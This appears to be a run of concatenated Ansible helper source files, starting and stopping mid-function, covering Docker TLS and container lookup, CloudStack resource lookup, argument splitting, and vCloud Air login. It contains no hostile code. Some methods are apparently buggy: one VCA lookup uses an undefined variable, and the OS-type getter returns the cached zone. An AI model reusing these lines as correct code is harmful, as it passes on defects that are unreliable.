            auth['docker_host'] = auth['docker_host'].replace('tcp://', 'https://')

        if auth['tls'] and auth['cert_path'] and auth['key_path']:
            # TLS with certs and no host verification
            tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                              verify=False,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls']:
            # TLS with no certs and not host verification
            tls_config = self._get_tls_config(verify=False,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify'] and auth['cert_path'] and auth['key_path']:
            # TLS with certs and host verification
            if auth['cacert_path']:
                tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                                  ca_cert=auth['cacert_path'],
                                                  verify=True,
                                                  assert_hostname=auth['tls_hostname'],
                                                  ssl_version=auth['ssl_version'])
            else:
                tls_config = self._get_tls_config(client_cert=(auth['cert_path'], auth['key_path']),
                                                  verify=True,
                                                  assert_hostname=auth['tls_hostname'],
                                                  ssl_version=auth['ssl_version'])

            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify'] and auth['cacert_path']:
            # TLS with cacert only
            tls_config = self._get_tls_config(ca_cert=auth['cacert_path'],
                                              assert_hostname=auth['tls_hostname'],
                                              verify=True,
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])

        if auth['tls_verify']:
            # TLS with verify and no certs
            tls_config = self._get_tls_config(verify=True,
                                              assert_hostname=auth['tls_hostname'],
                                              ssl_version=auth['ssl_version'])
            return dict(base_url=auth['docker_host'],
                        tls=tls_config,
                        version=auth['api_version'],
                        timeout=auth['timeout'])
        # No TLS
        return dict(base_url=auth['docker_host'],
                    version=auth['api_version'],
                    timeout=auth['timeout'])

    def _handle_ssl_error(self, error):
        match = re.match(r"hostname.*doesn\'t match (\'.*\')", str(error))
        if match:
            msg = "You asked for verification that Docker host name matches %s. The actual hostname is %s. " \
                "Most likely you need to set DOCKER_TLS_HOSTNAME or pass tls_hostname with a value of %s. " \
                "You may also use TLS without verification by setting the tls parameter to true." \
                 %  (self.auth_params['tls_hostname'], match.group(1))
            self.fail(msg)
        self.fail("SSL Exception: %s" % (error))

    def get_container(self, name=None):
        '''
        Lookup a container and return the inspection results.
        '''
        if name is None:
            return None

        search_name = name
        if not name.startswith('/'):
            search_name = '/' + name

        result = None
        try:
            for container in self.containers(all=True):
                self.log("testing container: %s" % (container['Names']))
                if search_name in container['Names']:
                    result = container
                    break
                if container['Id'].startswith(name):
                    result = container
                    break
                if container['Id'] == name:
                    result = container
                    break
        except SSLError as exc:
            self._handle_ssl_error(exc)
        except Exception as exc:
            self.fail("Error retrieving container list: %s" % exc)

        if result is not None:
            try:
                self.log("Inspecting container Id %s" % result['Id'])
                result = self.inspect_container(container=result['Id'])
                self.log("Completed container inspection")
            except Exception as exc:
                self.fail("Error inspecting container: %s" % exc)

        return result

    def find_image(self, name, tag):
        '''
        Lookup an image and return the inspection results.
        '''
        if not name:
            return None

        self.log("Find image %s:%s" % (name, tag))
        images = self._image_lookup(name, tag)
        if len(images) == 0:
            # In API <= 1.20 seeing 'docker.io/<name>' as the name of images pulled from docker hub
            registry, repo_name = auth.resolve_repository_name(name) 
            if registry == 'docker.io':
                # the name does not contain a registry, so let's see if docker.io works 
                lookup = "docker.io/%s" % name
                self.log("Check for docker.io image: %s" % lookup)
                images = self._image_lookup(lookup, tag)

        if len(images) > 1:
            self.fail("Registry returned more than one result for %s:%s" % (name, tag))

        if len(images) == 1:
            try:
                inspection = self.inspect_image(images[0]['Id'])
            except Exception as exc:
                self.fail("Error inspecting image %s:%s - %s" % (name, tag, str(exc)))
            return inspection

        self.log("Image %s:%s not found." % (name, tag))
        return None

    def _image_lookup(self, name, tag): 
        '''
        Including a tag in the name parameter sent to the docker-py images method does not 
        work consistently. Instead, get the result set for name and manually check if the tag
        exists.
        '''
        try:
            response = self.images(name=name)
        except Exception as exc:
            self.fail("Error searching for image %s - %s" % (name, str(exc)))
        images = response
        if tag: 
            lookup = "%s:%s" % (name, tag)
            images = []
            for image in response:
                tags = image.get('RepoTags')
                if tags and lookup in tags:
                    images = [image]
                    break
        return images

    def pull_image(self, name, tag="latest"):
        '''
        Pull an image
        '''
        self.log("Pulling image %s:%s" % (name, tag))
        try:
            for line in self.pull(name, tag=tag, stream=True):
                line = json.loads(line)
                self.log(line, pretty_print=True)
                if line.get('error'):
                    if line.get('errorDetail'):
                        error_detail = line.get('errorDetail')
                        self.fail("Error pulling %s - code: %s message: %s" % (name,
                                                                               error_detail.get('code'),
                                                                               error_detail.get('message')))
                    else:
                        self.fail("Error pulling %s - %s" % (name, line.get('error')))
        except Exception as exc:
            self.fail("Error pulling image %s:%s - %s" % (name, tag, str(exc)))

        return self.find_image(name, tag)








# -*- coding: utf-8 -*-
#
# (c) 2015, René Moser <mail@renemoser.net>
#
# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

import time

try:
    from cs import CloudStack, CloudStackException, read_config
    has_lib_cs = True
except ImportError:
    has_lib_cs = False

CS_HYPERVISORS = [
    "KVM", "kvm",
    "VMware", "vmware",
    "BareMetal", "baremetal",
    "XenServer", "xenserver",
    "LXC", "lxc",
    "HyperV", "hyperv",
    "UCS", "ucs",
    "OVM", "ovm",
    "Simulator", "simulator",
    ]

def cs_argument_spec():
    return dict(
        api_key = dict(default=None),
        api_secret = dict(default=None, no_log=True),
        api_url = dict(default=None),
        api_http_method = dict(choices=['get', 'post'], default='get'),
        api_timeout = dict(type='int', default=10),
        api_region = dict(default='cloudstack'),
    )

def cs_required_together():
    return [['api_key', 'api_secret', 'api_url']]

class AnsibleCloudStack(object):

    def __init__(self, module):
        if not has_lib_cs:
            module.fail_json(msg="python library cs required: pip install cs")

        self.result = {
            'changed': False,
        }

        # Common returns, will be merged with self.returns
        # search_for_key: replace_with_key
        self.common_returns = {
            'id':           'id',
            'name':         'name',
            'created':      'created',
            'zonename':     'zone',
            'state':        'state',
            'project':      'project',
            'account':      'account',
            'domain':       'domain',
            'displaytext':  'display_text',
            'displayname':  'display_name',
            'description':  'description',
        }

        # Init returns dict for use in subclasses
        self.returns = {}
        # these values will be casted to int
        self.returns_to_int = {}
        # these keys will be compared case sensitive in self.has_changed()
        self.case_sensitive_keys = [
            'id',
            'displaytext',
            'displayname',
            'description',
        ]

        self.module = module
        self._connect()

        self.domain = None
        self.account = None
        self.project = None
        self.ip_address = None
        self.network = None
        self.vpc = None
        self.zone = None
        self.vm = None
        self.os_type = None
        self.hypervisor = None
        self.capabilities = None


    def _connect(self):
        api_key = self.module.params.get('api_key')
        api_secret = self.module.params.get('api_secret')
        api_url = self.module.params.get('api_url')
        api_http_method = self.module.params.get('api_http_method')
        api_timeout = self.module.params.get('api_timeout')

        if api_key and api_secret and api_url:
            self.cs = CloudStack(
                endpoint=api_url,
                key=api_key,
                secret=api_secret,
                timeout=api_timeout,
                method=api_http_method
                )
        else:
            api_region = self.module.params.get('api_region', 'cloudstack')
            self.cs = CloudStack(**read_config(api_region))


    def get_or_fallback(self, key=None, fallback_key=None):
        value = self.module.params.get(key)
        if not value:
            value = self.module.params.get(fallback_key)
        return value


    # TODO: for backward compatibility only, remove if not used anymore
    def _has_changed(self, want_dict, current_dict, only_keys=None):
        return self.has_changed(want_dict=want_dict, current_dict=current_dict, only_keys=only_keys)


    def has_changed(self, want_dict, current_dict, only_keys=None):
        for key, value in want_dict.iteritems():

            # Optionally limit by a list of keys
            if only_keys and key not in only_keys:
                continue

            # Skip None values
            if value is None:
                continue

            if key in current_dict:
                if isinstance(current_dict[key], (int, long, float, complex)):
                    if value != current_dict[key]:
                        return True
                else:
                    if self.case_sensitive_keys and key in self.case_sensitive_keys:
                        if value != current_dict[key].encode('utf-8'):
                            return True

                    # Test for diff in case insensitive way
                    elif value.lower() != current_dict[key].encode('utf-8').lower():
                        return True
            else:
                return True
        return False


    def _get_by_key(self, key=None, my_dict=None):
        if my_dict is None:
            my_dict = {}
        if key:
            if key in my_dict:
                return my_dict[key]
            self.module.fail_json(msg="Something went wrong: %s not found" % key)
        return my_dict


    def get_vpc(self, key=None):
        """Return a VPC dictionary or the value of given key of."""
        if self.vpc:
            return self._get_by_key(key, self.vpc)

        vpc = self.module.params.get('vpc')
        if not vpc:
            return None

        args = {
            'account': self.get_account(key='name'),
            'domainid': self.get_domain(key='id'),
            'projectid': self.get_project(key='id'),
            'zoneid': self.get_zone(key='id'),
        }
        vpcs = self.cs.listVPCs(**args)
        if not vpcs:
            self.module.fail_json(msg="No VPCs available.")

        for v in vpcs['vpc']:
            if vpc in [v['displaytext'], v['name'], v['id']]:
                self.vpc = v
                return self._get_by_key(key, self.vpc)
        self.module.fail_json(msg="VPC '%s' not found" % vpc)


    def get_network(self, key=None):
        """Return a network dictionary or the value of given key of."""
        if self.network:
            return self._get_by_key(key, self.network)

        network = self.module.params.get('network')
        if not network:
            return None

        args = {
            'account': self.get_account('name'),
            'domainid': self.get_domain('id'),
            'projectid': self.get_project('id'),
            'zoneid': self.get_zone('id'),
        }
        networks = self.cs.listNetworks(**args)
        if not networks:
            self.module.fail_json(msg="No networks available.")

        for n in networks['network']:
            if network in [n['displaytext'], n['name'], n['id']]:
                self.network = n
                return self._get_by_key(key, self.network)
        self.module.fail_json(msg="Network '%s' not found" % network)


    def get_project(self, key=None):
        if self.project:
            return self._get_by_key(key, self.project)

        project = self.module.params.get('project')
        if not project:
            return None
        args = {}
        args['account'] = self.get_account(key='name')
        args['domainid'] = self.get_domain(key='id')
        projects = self.cs.listProjects(**args)
        if projects:
            for p in projects['project']:
                if project.lower() in [ p['name'].lower(), p['id'] ]:
                    self.project = p
                    return self._get_by_key(key, self.project)
        self.module.fail_json(msg="project '%s' not found" % project)


    def get_ip_address(self, key=None):
        if self.ip_address:
            return self._get_by_key(key, self.ip_address)

        ip_address = self.module.params.get('ip_address')
        if not ip_address:
            self.module.fail_json(msg="IP address param 'ip_address' is required")

        args = {}
        args['ipaddress'] = ip_address
        args['account'] = self.get_account(key='name')
        args['domainid'] = self.get_domain(key='id')
        args['projectid'] = self.get_project(key='id')
        ip_addresses = self.cs.listPublicIpAddresses(**args)

        if not ip_addresses:
            self.module.fail_json(msg="IP address '%s' not found" % args['ipaddress'])

        self.ip_address = ip_addresses['publicipaddress'][0]
        return self._get_by_key(key, self.ip_address)


    def get_vm(self, key=None):
        if self.vm:
            return self._get_by_key(key, self.vm)

        vm = self.module.params.get('vm')
        if not vm:
            self.module.fail_json(msg="Virtual machine param 'vm' is required")

        args = {}
        args['account'] = self.get_account(key='name')
        args['domainid'] = self.get_domain(key='id')
        args['projectid'] = self.get_project(key='id')
        args['zoneid'] = self.get_zone(key='id')
        vms = self.cs.listVirtualMachines(**args)
        if vms:
            for v in vms['virtualmachine']:
                if vm.lower() in [ v['name'].lower(), v['displayname'].lower(), v['id'] ]:
                    self.vm = v
                    return self._get_by_key(key, self.vm)
        self.module.fail_json(msg="Virtual machine '%s' not found" % vm)


    def get_zone(self, key=None):
        if self.zone:
            return self._get_by_key(key, self.zone)

        zone = self.module.params.get('zone')
        zones = self.cs.listZones()

        # use the first zone if no zone param given
        if not zone:
            self.zone = zones['zone'][0]
            return self._get_by_key(key, self.zone)

        if zones:
            for z in zones['zone']:
                if zone.lower() in [ z['name'].lower(), z['id'] ]:
                    self.zone = z
                    return self._get_by_key(key, self.zone)
        self.module.fail_json(msg="zone '%s' not found" % zone)


    def get_os_type(self, key=None):
        if self.os_type:
            return self._get_by_key(key, self.zone)

        os_type = self.module.params.get('os_type')
        if not os_type:
            return None

        os_types = self.cs.listOsTypes()
        if os_types:
            for o in os_types['ostype']:
                if os_type in [ o['description'], o['id'] ]:
                    self.os_type = o
                    return self._get_by_key(key, self.os_type)
        self.module.fail_json(msg="OS type '%s' not found" % os_type)


    def get_hypervisor(self):
        if self.hypervisor:
            return self.hypervisor

        hypervisor = self.module.params.get('hypervisor')
        hypervisors = self.cs.listHypervisors()

        # use the first hypervisor if no hypervisor param given
        if not hypervisor:
            self.hypervisor = hypervisors['hypervisor'][0]['name']
            return self.hypervisor

        for h in hypervisors['hypervisor']:
            if hypervisor.lower() == h['name'].lower():
                self.hypervisor = h['name']
                return self.hypervisor
        self.module.fail_json(msg="Hypervisor '%s' not found" % hypervisor)


    def get_account(self, key=None):
        if self.account:
            return self._get_by_key(key, self.account)

        account = self.module.params.get('account')
        if not account:
            return None

        domain = self.module.params.get('domain')
        if not domain:
            self.module.fail_json(msg="Account must be specified with Domain")

        args = {}
        args['name'] = account
        args['domainid'] = self.get_domain(key='id')
        args['listall'] = True
        accounts = self.cs.listAccounts(**args)
        if accounts:
            self.account = accounts['account'][0]
            return self._get_by_key(key, self.account)
        self.module.fail_json(msg="Account '%s' not found" % account)


    def get_domain(self, key=None):
        if self.domain:
            return self._get_by_key(key, self.domain)

        domain = self.module.params.get('domain')
        if not domain:
            return None

        args = {}
        args['listall'] = True
        domains = self.cs.listDomains(**args)
        if domains:
            for d in domains['domain']:
                if d['path'].lower() in [ domain.lower(), "root/" + domain.lower(), "root" + domain.lower() ]:
                    self.domain = d
                    return self._get_by_key(key, self.domain)
        self.module.fail_json(msg="Domain '%s' not found" % domain)


    def get_tags(self, resource=None):
        existing_tags = []
        for tag in resource.get('tags',[]):
            existing_tags.append({'key': tag['key'], 'value': tag['value']})
        return existing_tags


    def _process_tags(self, resource, resource_type, tags, operation="create"):
        if tags:
            self.result['changed'] = True
            if not self.module.check_mode:
                args = {}
                args['resourceids']  = resource['id']
                args['resourcetype'] = resource_type
                args['tags']         = tags
                if operation == "create":
                    response = self.cs.createTags(**args)
                else:
                    response = self.cs.deleteTags(**args)
                self.poll_job(response)


    def _tags_that_should_exist_or_be_updated(self, resource, tags):
        existing_tags = self.get_tags(resource)
        return [tag for tag in tags if tag not in existing_tags]


    def _tags_that_should_not_exist(self, resource, tags):
        existing_tags = self.get_tags(resource)
        return [tag for tag in existing_tags if tag not in tags]


    def ensure_tags(self, resource, resource_type=None):
        if not resource_type or not resource:
            self.module.fail_json(msg="Error: Missing resource or resource_type for tags.")

        if 'tags' in resource:
            tags = self.module.params.get('tags')
            if tags is not None:
                self._process_tags(resource, resource_type, self._tags_that_should_not_exist(resource, tags), operation="delete")
                self._process_tags(resource, resource_type, self._tags_that_should_exist_or_be_updated(resource, tags))
                resource['tags'] = tags
        return resource


    def get_capabilities(self, key=None):
        if self.capabilities:
            return self._get_by_key(key, self.capabilities)
        capabilities = self.cs.listCapabilities()
        self.capabilities = capabilities['capability']
        return self._get_by_key(key, self.capabilities)


    # TODO: for backward compatibility only, remove if not used anymore
    def _poll_job(self, job=None, key=None):
        return self.poll_job(job=job, key=key)


    def poll_job(self, job=None, key=None):
        if 'jobid' in job:
            while True:
                res = self.cs.queryAsyncJobResult(jobid=job['jobid'])
                if res['jobstatus'] != 0 and 'jobresult' in res:
                    if 'errortext' in res['jobresult']:
                        self.module.fail_json(msg="Failed: '%s'" % res['jobresult']['errortext'])
                    if key and key in res['jobresult']:
                        job = res['jobresult'][key]
                    break
                time.sleep(2)
        return job


    def get_result(self, resource):
        if resource:
            returns = self.common_returns.copy()
            returns.update(self.returns)
            for search_key, return_key in returns.iteritems():
                if search_key in resource:
                    self.result[return_key] = resource[search_key]

            # Bad bad API does not always return int when it should.
            for search_key, return_key in self.returns_to_int.iteritems():
                if search_key in resource:
                    self.result[return_key] = int(resource[search_key])

            # Special handling for tags
            if 'tags' in resource:
                self.result['tags'] = []
                for tag in resource['tags']:
                    result_tag          = {}
                    result_tag['key']   = tag['key']
                    result_tag['value'] = tag['value']
                    self.result['tags'].append(result_tag)
        return self.result






# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2012-2013
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

def _get_quote_state(token, quote_char):
    '''
    the goal of this block is to determine if the quoted string
    is unterminated in which case it needs to be put back together
    '''
    # the char before the current one, used to see if
    # the current character is escaped
    prev_char = None
    for idx, cur_char in enumerate(token):
        if idx > 0:
            prev_char = token[idx-1]
        if cur_char in '"\'' and prev_char != '\\':
            if quote_char:
                if cur_char == quote_char:
                    quote_char = None
            else:
                quote_char = cur_char
    return quote_char

def _count_jinja2_blocks(token, cur_depth, open_token, close_token):
    '''
    this function counts the number of opening/closing blocks for a
    given opening/closing type and adjusts the current depth for that
    block based on the difference
    '''
    num_open  = token.count(open_token)
    num_close = token.count(close_token)
    if num_open != num_close:
        cur_depth += (num_open - num_close)
        if cur_depth < 0:
            cur_depth = 0
    return cur_depth

def split_args(args):
    '''
    Splits args on whitespace, but intelligently reassembles
    those that may have been split over a jinja2 block or quotes.

    When used in a remote module, we won't ever have to be concerned about
    jinja2 blocks, however this function is/will be used in the
    core portions as well before the args are templated.

    example input: a=b c="foo bar"
    example output: ['a=b', 'c="foo bar"']

    Basically this is a variation shlex that has some more intelligence for
    how Ansible needs to use it.
    '''

    # the list of params parsed out of the arg string
    # this is going to be the result value when we are donei
    params = []

    # here we encode the args, so we have a uniform charset to
    # work with, and split on white space
    args = args.strip()
    try:
        args = args.encode('utf-8')
        do_decode = True
    except UnicodeDecodeError:
        do_decode = False
    items = args.split('\n')

    # iterate over the tokens, and reassemble any that may have been
    # split on a space inside a jinja2 block.
    # ex if tokens are "{{", "foo", "}}" these go together

    # These variables are used
    # to keep track of the state of the parsing, since blocks and quotes
    # may be nested within each other.

    quote_char = None
    inside_quotes = False
    print_depth   = 0 # used to count nested jinja2 {{ }} blocks
    block_depth   = 0 # used to count nested jinja2 {% %} blocks
    comment_depth = 0 # used to count nested jinja2 {# #} blocks

    # now we loop over each split chunk, coalescing tokens if the white space
    # split occurred within quotes or a jinja2 block of some kind
    for itemidx,item in enumerate(items):

        # we split on spaces and newlines separately, so that we
        # can tell which character we split on for reassembly
        # inside quotation characters
        tokens = item.strip().split(' ')

        line_continuation = False
        for idx,token in enumerate(tokens):

            # if we hit a line continuation character, but
            # we're not inside quotes, ignore it and continue
            # on to the next token while setting a flag
            if token == '\\' and not inside_quotes:
                line_continuation = True
                continue

            # store the previous quoting state for checking later
            was_inside_quotes = inside_quotes
            quote_char = _get_quote_state(token, quote_char)
            inside_quotes = quote_char is not None

            # multiple conditions may append a token to the list of params,
            # so we keep track with this flag to make sure it only happens once
            # append means add to the end of the list, don't append means concatenate
            # it to the end of the last token
            appended = False

            # if we're inside quotes now, but weren't before, append the token
            # to the end of the list, since we'll tack on more to it later
            # otherwise, if we're inside any jinja2 block, inside quotes, or we were
            # inside quotes (but aren't now) concat this token to the last param
            if inside_quotes and not was_inside_quotes:
                params.append(token)
                appended = True
            elif print_depth or block_depth or comment_depth or inside_quotes or was_inside_quotes:
                if idx == 0 and not inside_quotes and was_inside_quotes:
                    params[-1] = "%s%s" % (params[-1], token)
                elif len(tokens) > 1:
                    spacer = ''
                    if idx > 0:
                        spacer = ' '
                    params[-1] = "%s%s%s" % (params[-1], spacer, token)
                else:
                    spacer = ''
                    if not params[-1].endswith('\n') and idx == 0:
                        spacer = '\n'
                    params[-1] = "%s%s%s" % (params[-1], spacer, token)
                appended = True

            # if the number of paired block tags is not the same, the depth has changed, so we calculate that here
            # and may append the current token to the params (if we haven't previously done so)
            prev_print_depth = print_depth
            print_depth = _count_jinja2_blocks(token, print_depth, "{{", "}}")
            if print_depth != prev_print_depth and not appended:
                params.append(token)
                appended = True

            prev_block_depth = block_depth
            block_depth = _count_jinja2_blocks(token, block_depth, "{%", "%}")
            if block_depth != prev_block_depth and not appended:
                params.append(token)
                appended = True

            prev_comment_depth = comment_depth
            comment_depth = _count_jinja2_blocks(token, comment_depth, "{#", "#}")
            if comment_depth != prev_comment_depth and not appended:
                params.append(token)
                appended = True

            # finally, if we're at zero depth for all blocks and not inside quotes, and have not
            # yet appended anything to the list of params, we do so now
            if not (print_depth or block_depth or comment_depth) and not inside_quotes and not appended and token != '':
                params.append(token)

        # if this was the last token in the list, and we have more than
        # one item (meaning we split on newlines), add a newline back here
        # to preserve the original structure
        if len(items) > 1 and itemidx != len(items) - 1 and not line_continuation:
            if not params[-1].endswith('\n') or item == '':
                params[-1] += '\n'

        # always clear the line continuation flag
        line_continuation = False

    # If we're done and things are not at zero depth or we're still inside quotes,
    # raise an error to indicate that the args were unbalanced
    if print_depth or block_depth or comment_depth or inside_quotes:
        raise Exception("error while splitting arguments, either an unbalanced jinja2 block or quotes")

    # finally, we decode each param back to the unicode it was in the arg string
    if do_decode:
        params = [x.decode('utf-8') for x in params]

    return params

def is_quoted(data):
    return len(data) > 0 and (data[0] == '"' and data[-1] == '"' or data[0] == "'" and data[-1] == "'")

def unquote(data):
    ''' removes first and last quotes from a string, if the string starts and ends with the same quotes '''
    if is_quoted(data):
        return data[1:-1]
    return data







#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import os
try:
    from pyvcloud.vcloudair import VCA
    HAS_PYVCLOUD = True
except ImportError:
    HAS_PYVCLOUD = False

from ansible.module_utils.basic import AnsibleModule

SERVICE_MAP = {'vca': 'ondemand', 'vchs': 'subscription', 'vcd': 'vcd'}
LOGIN_HOST = {'vca': 'vca.vmware.com', 'vchs': 'vchs.vmware.com'}

DEFAULT_SERVICE_TYPE = 'vca'
DEFAULT_VERSION = '5.7'

class VcaError(Exception):

    def __init__(self, msg, **kwargs):
        self.kwargs = kwargs
        super(VcaError, self).__init__(msg)

def vca_argument_spec():
    return dict(
        username=dict(type='str', aliases=['user'], required=True),
        password=dict(type='str', aliases=['pass','passwd'], required=True, no_log=True),
        org=dict(),
        service_id=dict(),
        instance_id=dict(),
        host=dict(),
        api_version=dict(default=DEFAULT_VERSION),
        service_type=dict(default=DEFAULT_SERVICE_TYPE, choices=SERVICE_MAP.keys()),
        vdc_name=dict(),
        gateway_name=dict(default='gateway'),
        verify_certs=dict(type='bool', default=True)
    )

class VcaAnsibleModule(AnsibleModule):

    def __init__(self, *args, **kwargs):
        argument_spec = vca_argument_spec()
        argument_spec.update(kwargs.get('argument_spec', dict()))
        kwargs['argument_spec'] = argument_spec

        super(VcaAnsibleModule, self).__init__(*args, **kwargs)

        if not HAS_PYVCLOUD:
            self.fail("python module pyvcloud is required for this module")

        self._vca = self.create_instance()
        self.login()

        self._gateway = None
        self._vdc = None

    @property
    def vca(self):
        return self._vca

    @property
    def gateway(self):
        if self._gateway is not None:
            return self._gateway
        vdc_name = self.params['vdc_name']
        gateway_name = self.params['gateway_name']
        _gateway = self.vca.get_gateway(vdc_name, gateway_name)
        if not _gateway:
            raise VcaError('vca instance has no gateway named %s' % gateway_name)
        self._gateway = _gateway
        return _gateway

    @property
    def vdc(self):
        if self._vdc is not None:
            return self._vdc
        vdc_name = self.params['vdc_name']
        _vdc = self.vca.get_vdc(vdc_name)
        if not _vdc:
            raise VcaError('vca instance has no vdc named %s' % vdc_name)
        self._vdc = _vdc
        return _vdc

    def get_vapp(self, vapp_name):
        vapp = self.vca.get_vapp(self.vdc, vapp_name)
        if not vapp:
            raise VcaError('vca instance has no vapp named %s' % vapp_name)
        return vapp

    def get_vm(self, vapp_name, vm_name):
        vapp = self.get_vapp(vapp_name)
        vms = [vm for vm in children.get_Vm() if vm.name == vm_name]
        try:
            return vms[0]
        except IndexError:
            raise VcaError('vapp has no vm named %s' % vm_name)

    def create_instance(self):
        service_type = self.params.get('service_type', DEFAULT_SERVICE_TYPE)
        if service_type == 'vcd':
            host = self.params['host']
        else:
            host = LOGIN_HOST[service_type]
        username = self.params['username']

        version = self.params.get('api_version')
        if service_type == 'vchs':
            version = '5.6'

        verify = self.params.get('verify_certs')

        return VCA(host=host, username=username,
                   service_type=SERVICE_MAP[service_type],
                   version=version, verify=verify)

    def login(self):
        service_type = self.params['service_type']
        password = self.params['password']

        login_org = None
        if service_type == 'vcd':
            login_org = self.params['org']

        if not self.vca.login(password=password, org=login_org):
            self.fail('Login to VCA failed', response=self.vca.response)

        try:
            method_name = 'login_%s' % service_type
            meth = getattr(self, method_name)
            meth()
        except AttributeError:
            self.fail('no login method exists for service_type %s' % service_type)
        except VcaError as e:
            self.fail(e.message, response=self.vca.response, **e.kwargs)

    def login_vca(self):
        instance_id = self.params['instance_id']
        if not instance_id:
            raise VcaError('missing required instance_id for service_type vca')
        self.vca.login_to_instance_sso(instance=instance_id)

    def login_vchs(self):
        service_id = self.params['service_id']
        if not service_id:
            raise VcaError('missing required service_id for service_type vchs')

        org = self.params['org']
        if not org:
            raise VcaError('missing required org for service_type vchs')

        self.vca.login_to_org(service_id, org)

    def login_vcd(self):
        org = self.params['org']
        if not org:
            raise VcaError('missing required org for service_type vcd')

        if not self.vca.token:
            raise VcaError('unable to get token for service_type vcd')

        if not self.vca.vcloud_session.org_url:
            raise VcaError('unable to get org_url for service_type vcd')

        self.vca.login(token=self.vca.token, org=org,
                       org_url=self.vca.vcloud_session.org_url)

    def save_services_config(self, blocking=True):
        task = self.gateway.save_services_configuration()
        if not task:
            self.fail(msg='unable to save gateway services configuration')
        if blocking:
            self.vca.block_until_completed(task)

    def fail(self, msg, **kwargs):
        self.fail_json(msg=msg, **kwargs)

    def exit(self, **kwargs):
        self.exit_json(**kwargs)



# -------------------------------------------------------------
# 9/18/2015 @privateip
# All of the functions below here were migrated from the original
# vca_* modules.  All functions below should be considered deprecated
# and will be removed once all of the vca_* modules have been updated
# to use the new instance module above
# -------------------------------------------------------------

VCA_REQ_ARGS = ['instance_id', 'vdc_name']
VCHS_REQ_ARGS = ['service_id']


def _validate_module(module):
    if not HAS_PYVCLOUD:
        module.fail_json(msg="python module pyvcloud is needed for this module")

    service_type = module.params.get('service_type', DEFAULT_SERVICE_TYPE)

    if service_type == 'vca':
        for arg in VCA_REQ_ARGS:
            if module.params.get(arg) is None:
                module.fail_json(msg="argument %s is mandatory when service type "
                                 "is vca" % arg)

    if service_type == 'vchs':
        for arg in VCHS_REQ_ARGS:
            if module.params.get(arg) is None:
                module.fail_json(msg="argument %s is mandatory when service type "
                                 "is vchs" % arg)

    if service_type == 'vcd':
